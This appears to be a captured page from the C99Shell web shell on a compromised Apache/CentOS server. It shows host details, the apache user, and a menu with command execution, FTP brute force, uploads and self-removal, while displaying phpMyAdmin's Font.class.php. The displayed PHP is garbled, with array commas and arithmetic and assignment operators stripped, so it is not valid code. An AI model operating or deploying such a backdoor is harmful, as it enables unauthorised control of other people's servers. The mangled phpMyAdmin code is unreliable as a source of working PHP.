!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/usr/share/phpMyAdmin/libraries/   drwxr-xr-x
Free 9.16 GB of 93.48 GB (9.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Font.class.php (4.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Class with Font related methods.
 *
 * @package PhpMyAdmin
 */
if (! defined('PHPMYADMIN')) {
    exit;
}

/**
 * Class with Font related methods.
 *
 * @package PhpMyAdmin
 */
class PMA_Font
{
    
/**
     * Get list with characters and the corresponding width modifiers.
     *
     * @return array with characters and corresponding width modifier
     * @access public
     */
    
public static function getCharLists()
    {
        
// list of characters and their width modifiers
        
$charLists = array();

        
//ijl
        
$charLists[] = array("chars" => array("i""j""l"), "modifier" => 0.23);
        
//f
        
$charLists[] = array("chars" => array("f"), "modifier" => 0.27);
        
//tI
        
$charLists[] = array("chars" => array("t""I"), "modifier" => 0.28);
        
//r
        
$charLists[] = array("chars" => array("r"), "modifier" => 0.34);
        
//1
        
$charLists[] = array("chars" => array("1"), "modifier" => 0.49);
        
//cksvxyzJ
        
$charLists[] = array(
            
"chars" => array("c""k""s""v""x""y""z""J"),
            
"modifier" => 0.5
        
);
        
//abdeghnopquL023456789
        
$charLists[] = array(
            
"chars" => array(
                
"a""b""d""e""g""h""n""o""p""q""u""L",
                
"0""2""3""4""5""6""7""8""9"
            
),
            
"modifier" => 0.56
        
);
        
//FTZ
        
$charLists[] = array("chars" => array("F""T""Z"), "modifier" => 0.61);
        
//ABEKPSVXY
        
$charLists[] = array(
            
"chars" => array("A""B""E""K""P""S""V""X""Y"),
            
"modifier" => 0.67
        
);
        
//wCDHNRU
        
$charLists[] = array(
            
"chars" => array("w""C""D""H""N""R""U"),
            
"modifier" => 0.73
        
);
        
//GOQ
        
$charLists[] = array("chars" => array("G""O""Q"), "modifier" => 0.78);
        
//mM
        
$charLists[] = array("chars" => array("m""M"), "modifier" => 0.84);
        
//W
        
$charLists[] = array("chars" => array("W"), "modifier" => 0.95);
        
//" "
        
$charLists[] = array("chars" => array(" "), "modifier" => 0.28);

        return 
$charLists;
    }

    
/**
     * Get width of string/text
     *
     * The text element width is calculated depending on font name
     * and font size.
     *
     * @param string  $text      string of which the width will be calculated
     * @param string  $font      name of the font like Arial,sans-serif etc
     * @param integer $fontSize  size of font
     * @param array   $charLists list of characters and their width modifiers
     *
     * @return integer width of the text
     * @access public
     */
    
public static function getStringWidth($text$font$fontSize$charLists null)
    {
        if (empty(
$charLists) || !is_array($charLists)
            || !isset(
$charLists[0]["chars"]) || !is_array($charLists[0]["chars"])
            || !isset(
$charLists[0]["modifier"])
        ) {
            
$charLists self::getCharLists();
        }

        
/*
         * Start by counting the width, giving each character a modifying value
         */
        
$count 0;

        foreach (
$charLists as $charList) {
            
$count += ((/*overload*/mb_strlen($text)
                - 
/*overload*/mb_strlen(str_replace($charList["chars"], ""$text))
                ) * 
$charList["modifier"]);
        }

        
$text  str_replace(" """$text);//remove the " "'s
        //all other chars
        
$count $count
            
+ (/*overload*/mb_strlen(preg_replace("/[a-z0-9]/i"""$text)) * 0.3);

        
$modifier 1;
        
$font /*overload*/mb_strtolower($font);
        switch (
$font) {
        
/*
         * no modifier for arial and sans-serif
         */
        
case 'arial':
        case 
'sans-serif':
            break;
        
/*
         * .92 modifier for time, serif, brushscriptstd, and californian fb
         */
        
case 'times':
        case 
'serif':
        case 
'brushscriptstd':
        case 
'californian fb':
            
$modifier .92;
            break;
        
/*
         * 1.23 modifier for broadway
         */
        
case 'broadway':
            
$modifier 1.23;
            break;
        }
        
$textWidth $count $fontSize;
        return (int)
ceil($textWidth $modifier);
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.004 ]--